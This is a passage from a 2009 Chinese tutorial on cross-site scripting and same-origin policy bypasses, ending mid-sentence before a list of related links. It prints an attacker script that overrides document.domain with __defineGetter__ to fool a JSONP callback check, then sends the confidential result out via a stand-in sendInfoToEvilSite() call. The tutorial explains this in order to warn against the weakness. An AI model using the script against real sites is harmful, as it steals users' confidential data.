跨站脚本攻击深入解析(上)
2009-02-25 13:54:15 来源:WEB开发网function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}
通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:
< script >
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >
<script src="http://somesite.com/GetInformation?callback=callbackFunction">
< / script >
这段HTML代码利用__defineGetter__()对document.domain进行了设置,并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后,它会在1.5秒——对于浏览器建立到达somesite.com的请求来说,这个时间已经够宽裕了——之后调用sendInfoToEvilSite(callbackFunction())。因此,我们不应扩展document.domain来用作它用。
如果同源策略失守,后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点,然而,一旦同源策略被攻破,后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面,该页面可以阅读来自其它域的HTTP应答,例如来自一个webmail应用程序的应答等,并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么,攻击者将能阅读受骗用户的通信录。 为此,攻击者可以在http://www.evil.com/index.html中放入
- ››深入理解JAR包
- ››深入分析Volatile的实现原理
- ››深入理解Flash Player的应用程序域(Application ...
- ››深入理解flash函数(AS2)
- ››深入理解Android消息处理系统——Looper、Handler...
- ››深入理解SET NAMES和mysql(i)_set_charset的区别
- ››深入理解Mysql字符集设置
- ››深入浅出实战攻防恶意PDF文档
- ››深入剖析防火墙策略的执行过程:ISA2006系列之六
- ››深入JavaScript与.NET Framework中的日期时间(3)...
- ››深入JavaScript与.NET Framework中的日期时间(2)...
- ››深入JavaScript与.NET Framework中的日期时间(1)...
更多精彩
赞助商链接